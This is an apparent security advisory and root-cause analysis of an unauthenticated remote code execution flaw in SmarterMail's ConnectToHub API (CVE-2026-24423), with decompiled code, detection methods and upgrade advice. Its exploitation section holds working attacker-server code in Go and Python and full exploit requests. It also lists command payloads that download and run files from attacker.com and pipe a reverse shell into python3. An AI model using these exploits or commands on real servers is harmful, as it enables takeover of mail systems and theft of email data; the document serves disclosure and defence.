Executive Summary
A critical remote code execution vulnerability has been discovered in SmarterTools SmarterMail’s ConnectToHub API functionality. This vulnerability has been assigned CVE-2026-24423 with a CVSS v4 score of 9.3 (Critical).
Attackers can achieve remote code execution without authentication by crafting a malicious HTTP server that exploits SmarterMail’s ConnectToHub functionality. This vulnerability stems from the following critical security flaws:
- Missing Authentication: The ConnectToHub API endpoint allows anonymous access
- Server-Side Request Forgery (SSRF): The application accepts external URLs and makes outbound requests
- Command Injection: Commands retrieved from external servers are executed at the system level
| Attribute |
Value |
| CVE ID |
CVE-2026-24423 |
| CVSS v4 Score |
9.3 (Critical) |
| CVSS Vector |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE |
CWE-306 (Missing Authentication for Critical Function) |
| Disclosure Date |
January 23, 2026 |
| Fixed Version |
SmarterMail Build 9511 (100.0.9511) |
Vulnerability Overview
Vulnerability Description
SmarterMail’s ConnectToHub functionality is used to connect mail server nodes to a management center (Hub). This functionality is implemented through an API endpoint /api/v1/settings/sysadmin/connect-to-hub, which configures the server’s mount path.
The core issues of the vulnerability are:
- The API endpoint does not require authentication (marked as
AllowAnonymous)
- Accepts a
hubAddress parameter and makes a request to an attacker-controlled server
- Parses the
CommandMount parameter from the JSON response returned by the server
- Passes that command directly to the system shell for execution
Vulnerability Impact
- Unauthenticated Remote Code Execution: Attackers can exploit this vulnerability without any credentials
- System-Level Privileges: Executes with SYSTEM privileges on Windows, can use sudo on Linux
- Complete Server Control: Attackers can execute arbitrary commands, including:
- Deploying malware or ransomware
- Stealing sensitive email data
- Creating backdoors for persistent access
- Using the server to attack other organizations
Affected Versions
| Product |
Affected Versions |
Fixed Version |
| SmarterTools SmarterMail |
< 100.0.9511 (Build < 9511) |
100.0.9511 (Build 9511) |
Version Detection Method
Unauthenticated version detection endpoint:
1
2
| GET /api/v1/licensing/about HTTP/1.1
Host: target-server
|
The response contains version information that can be used to determine if the version is vulnerable.
Root Cause Analysis
1. Missing Authentication
The ConnectToHub API endpoint is defined in MailService.dll with the AllowAnonymous attribute:
1
2
3
4
5
6
7
8
9
10
| [AuthenticatedService(AllowAnonymous = true)]
[HttpPost]
[Route("connect-to-hub")]
public async Task<ActionResult<ConnectToHubResult>> ConnectToHub([FromBody] ConnectToHubInput input)
{
AdministrativeLog.Log("Connecting to hub", LogLevels.Normal, base.HttpContext);
ConnectToHubResult connectToHubResult = await SystemSettingsService.ConnectToHub(input);
connectToHubResult.machineName = HAClusterConfig.Instance.LocalName;
return base.CreateResponseMessage(connectToHubResult);
}
|
This is a critical security flaw, as connecting to a Hub should be a highly sensitive administrative function.
2. Server-Side Request Forgery (SSRF)
The API accepts a user-provided hubAddress parameter and makes an HTTP POST request to that address:
1
2
3
4
| string text2 = input.hubAddress.TrimEnd('/');
string text3 = text2 + "/web/api/node-management/setup-initial-connection";
Console.WriteLine("Connecting to hub with full URL: " + text3 + " with parameters:\r\n" + text);
HttpResponseMessage httpResponseMessage = await client.PostAsync(new Uri(text3), new StringContent(text, Encoding.UTF8, "application/json"));
|
3. Unsafe Deserialization and Command Injection
The JSON response retrieved from the external server is deserialized, where the SystemMount object contains the CommandMount parameter:
1
2
| SystemSettingsService.InitialConnectionResult decodedObject =
JsonConvert.DeserializeObject<SystemSettingsService.InitialConnectionResult>(text4);
|
Then, this object is passed directly to the mount configuration:
1
2
3
4
5
6
7
8
| if (!(await MountConfiguration.Mount(decodedObject.SystemMount, true)).success)
{
return new ConnectToHubResult
{
message = "Failed to mount system mount point",
success = false
};
}
|
Attack Flow
Detailed Attack Steps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐
│ Attacker │────────▶│ SmarterMail │────────▶│ Attacker's │
│ │ ① POST │ Server │ ② POST │ HTTP Server │
└─────────────┘ └──────────────┘ └─────────────────┘
│
③ Return malicious command │
┌──────────────────────────────┘
│
▼
┌──────────────┐
│ SmarterMail │
│ Server │
└──────────────┘
│
│ ④ Execute command
▼
┌──────────────┐
│ Execution │
│ (cmd/bash) │
└──────────────┘
|
Step-by-Step Explanation
- Attacker sends malicious request:
1
2
3
4
5
6
7
8
9
| POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: smartermail-server:9998
Content-Type: application/json
{
"hubAddress": "http://attacker-server:8082",
"oneTimePassword": "test",
"nodeName": "victim"
}
|
- SmarterMail makes a request to the attacker’s server:
1
2
3
4
5
6
7
8
9
| POST /web/api/node-management/setup-initial-connection HTTP/1.1
Host: attacker-server:8082
Content-Type: application/json
{
"hubAddress": "http://attacker-server:8082",
"oneTimePassword": "test",
"nodeName": "victim"
}
|
- Attacker’s server returns a response containing malicious commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
| {
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "any-value",
"TargetHubs": {"a": "b"},
"IsStandby": false,
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "/any/path",
"CommandMount": "malicious_command_here"
},
"SystemAdminUsernames": ["admin"]
}
|
- SmarterMail executes the malicious command
Vulnerability Code Analysis
Code Flow Diagram
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| ConnectToHub() [AllowAnonymous]
│
▼
SystemSettingsService.ConnectToHub(input)
│
├─ Build request to hubAddress
│
├─ Make HTTP POST request
│
├─ Deserialize JSON response
│
└─ MountConfiguration.Mount(decodedObject.SystemMount, true)
│
▼
MountConfiguration.Mount()
│
├─ Check mount status
│
├─ Call RunCommand(mount.CommandMount)
│
▼
CommandLine.RunCommand(command)
│
├─ Build ProcessStartInfo
│ ├─ FileName: cmd.exe (Windows) or /bin/bash (Linux)
│ └─ Arguments: /c command (Windows) or -c "command" (Linux)
│
▼
Process.Start()
│
▼
Command Execution ✓
|
Key Code Snippets
1. MountConfiguration.Mount()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| public static async Task<SuccessResult> Mount(MountPointConfig mount, bool isSystemMount = false)
{
// ... mount status check ...
MountConfiguration.MountInfo[mount.MountPath] = mount;
// Check CommandMount parameter
if (!string.IsNullOrWhiteSpace(mount.CommandMount) && mount.CommandMount != "null")
{
await MountConfiguration.RunCommand(mount.MountPath, mount.CommandMount, mount.UseArgumentsInCommand);
}
// ... return success ...
}
|
2. MountConfiguration.RunCommand()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| private static async Task RunCommand(string path, string command, bool includeArgs)
{
if (!string.IsNullOrWhiteSpace(command))
{
// If arguments are needed, build the full command string
if (includeArgs)
{
HANodeConfig currentNodeConfig = HAClusterConfig.Instance.CurrentNodeConfig;
string text = currentNodeConfig?.GetUserData<HANodeConfig>()
?.Get<string>(HANodeConfig.PreviousRunningNode)
?? currentNodeConfig?.PrimaryServer
?? "";
string text2 = HAClusterConfig.Instance.LocalName
?? Environment.MachineName;
string text3 = currentNodeConfig?.PrimaryServer ?? "local";
if (path.Contains(' '))
{
path = "\"" + path + "\"";
}
// Build command string
command = $"{command} {text2} {text3} {text} {path}";
}
// Execute command
ValueTuple<string, bool, string> valueTuple =
await CommandLine.RunCommand(FileManager.ApplicationDataPath, command, false,
new Action<string>(MountConfiguration.<RunCommand>g__ProcessCommandOutput|23_0));
}
}
|
3. CommandLine.RunCommand()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| public static async Task<ValueTuple<string, bool, string>> RunCommand(
string currentDir, string command, bool sudo = false, Action<string> processOutputLine = null)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
// Select shell based on operating system
FileName = (OperatingSystem.IsWindows() ? "cmd.exe" : "/bin/bash"),
// Build command arguments
Arguments = (OperatingSystem.IsWindows()
? ("/c " + command)
: ("-c \"" + (sudo ? "sudo " : "") + command + "\"")),
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
WorkingDirectory = currentDir
};
using (Process process = new Process { StartInfo = processStartInfo })
{
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
await process.WaitForExitAsync(default(CancellationToken));
return new ValueTuple<string, bool, string>(
resultSb.ToString(),
process.ExitCode == 0,
ranCmd
);
}
}
|
Summary of Security Issues
- Unvalidated Input: The
hubAddress parameter is used for external requests without validation
- Unsafe Deserialization: JSON from external servers is directly deserialized and used
- Command Injection: The
CommandMount parameter is passed directly to the system shell
- Missing Authentication: The entire API endpoint is accessible anonymously
- Lack of Input Sanitization: Command parameters are not sanitized or validated against a whitelist
Exploitation Examples
Attacker HTTP Server Code (Go)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| package main
import (
"fmt"
"log"
"net/http"
)
func initHandler(w http.ResponseWriter, r *http.Request) {
fmt.Println("[-] Victim connected to our malicious server")
// Return JSON response containing malicious command
// Windows example: create a file
response := `{
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "attacker-controlled",
"TargetHubs": {"a": "b"},
"IsStandby": false,
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "/tmp/mount",
"CommandMount": "dir > C:\\\\pwned.txt"
},
"SystemAdminUsernames": ["admin"]
}`
fmt.Fprint(w, response)
fmt.Println("[-] Sent malicious command payload")
}
func main() {
http.HandleFunc("/web/api/node-management/setup-initial-connection", initHandler)
fmt.Println("[+] Malicious server listening on :8082")
log.Fatal(http.ListenAndServe(":8082", nil))
}
|
Attacker HTTP Server Code (Python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/web/api/node-management/setup-initial-connection', methods=['POST'])
def setup_initial_connection():
print("[-] Victim connected!")
# Malicious response
response = {
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "attacker-controlled",
"TargetHubs": {"a": "b"},
"IsStandby": False,
"SystemMount": {
"Enabled": True,
"ReadOnly": False,
"MountPath": "/tmp/mount",
"CommandMount": "dir > C:\\\\pwned.txt" # Windows
# "CommandMount": "whoami > /tmp/pwned.txt" # Linux
},
"SystemAdminUsernames": ["admin"]
}
print("[-] Sent malicious payload")
return jsonify(response)
if __name__ == '__main__':
print("[+] Malicious server listening on :8082")
app.run(host='0.0.0.0', port=8082)
|
Exploitation Request Example
1
2
3
4
5
6
7
8
9
10
11
| POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: vulnerable-smartermail.example.com:9998
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 112
{
"hubAddress": "http://attacker-server.example.com:8082",
"oneTimePassword": "any-value",
"nodeName": "victim-node"
}
|
Malicious Command Examples
1
2
3
| "CommandMount": "dir > C:\\\\pwned.txt"
"CommandMount": "whoami > C:\\\\whoami.txt"
"CommandMount": "powershell -Command \"Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile 'C:\\\\payload.exe'; Start-Process 'C:\\\\payload.exe'\""
|
1
2
3
| "CommandMount": "whoami > /tmp/pwned.txt"
"CommandMount": "wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
"CommandMount": "curl http://attacker.com/reverse_shell.py | python3"
|
Detection Methods
1. Active Scanning
Detect vulnerable versions:
1
2
3
4
5
6
7
| # Get version information
curl -X GET "http://target-server/api/v1/licensing/about"
# Try to access vulnerable endpoint
curl -X POST "http://target-server/api/v1/settings/sysadmin/connect-to-hub" \
-H "Content-Type: application/json" \
-d '{"hubAddress":"http://localhost:8082","oneTimePassword":"test","nodeName":"test"}'
|
2. Log Monitoring
Monitor the following indicators:
| Detection Item |
Description |
| Endpoint Access |
Access logs for /api/v1/settings/sysadmin/connect-to-hub |
| Outbound Connections |
HTTP connections from SmarterMail server to unknown IPs |
| Process Execution |
cmd.exe or /bin/bash spawned with unusual arguments |
| File Changes |
Suspicious files appearing in system directories |
3. Network Traffic Detection
1
2
3
4
5
6
| # Normal traffic pattern
SmarterMail → Internal Hub Server
# Malicious traffic pattern
SmarterMail → External IP (attacker-controlled server)
→ Returns JSON containing CommandMount
|
4. Patched Version Response
In patched versions (Build 9511):
- Endpoint returns HTTP 400 status code
- Returns error message instead of executing commands
Timeline
| Date |
Event |
| 2019-04-17 |
Earlier similar vulnerability (CVE-2019-7214) disclosed, affecting Build < 6985 |
| Late 2025 |
Multiple independent security researchers discover ConnectToHub vulnerability |
| 2026-01-15 |
SmarterTools releases fixed version Build 9511 |
| 2026-01-23 |
VulnCheck publishes public vulnerability advisory |
| 2026-01-26 |
CISA includes vulnerability in weekly vulnerability summary |
| 2026-01-28 |
Multiple security research teams publish detailed technical analysis |
Appendix
A. HTTP Request/Response Examples
Malicious Request
1
2
3
4
5
6
7
8
9
10
11
12
| POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: 192.168.1.100:9998
User-Agent: python-requests/2.31.0
Accept: */*
Content-Type: application/json
Content-Length: 121
{
"hubAddress": "http://10.0.1.10:8082",
"oneTimePassword": "test",
"nodeName": "victim"
}
|
Malicious Server Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 287
{
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "pwned",
"TargetHubs": {
"primary": "hub.internal"
},
"IsStandby": false,
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "C:\\SmarterMail\\Mount",
"CommandMount": "dir > C:\\SmarterMail\\pwned.txt"
},
"SystemAdminUsernames": ["admin"]
}
|
| CVE |
Description |
Status |
| CVE-2019-7214 |
.NET Deserialization RCE (Build < 6985) |
Fixed |
| CVE-2026-24423 |
ConnectToHub Unauthenticated RCE (Build < 9511) |
Fixed |
Conclusion
CVE-2026-24423 is a severe remote code execution vulnerability affecting all versions of SmarterMail prior to Build 9511. This vulnerability allows unauthenticated attackers to execute arbitrary commands on target systems by crafting a malicious HTTP server.
Key Takeaways
- Immediate Upgrade: All users should immediately upgrade to Build 9511 or higher
- Detect Compromise: Check logs to determine if already exploited
- Implement Mitigations: If immediate upgrade is not possible, implement network-layer protections
- Long-Term Security: Review overall security configuration and strengthen monitoring
Disclaimer
This document is for security research and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Please disclose vulnerabilities responsibly and comply with all applicable laws and regulations.
References
- VulnCheck Advisory - CVE-2026-24423
- VulnCheck Blog - Street Smarts: SmarterMail ConnectToHub
- Rapid7 Exploit Database - SmarterMail RCE
- CISA Vulnerability Summary - Week of January 19, 2026
- DataCorps - SmarterMail Flaw Enables Dangerous RCE
- CODE WHITE Vulnerability List
- SmarterMail Release Notes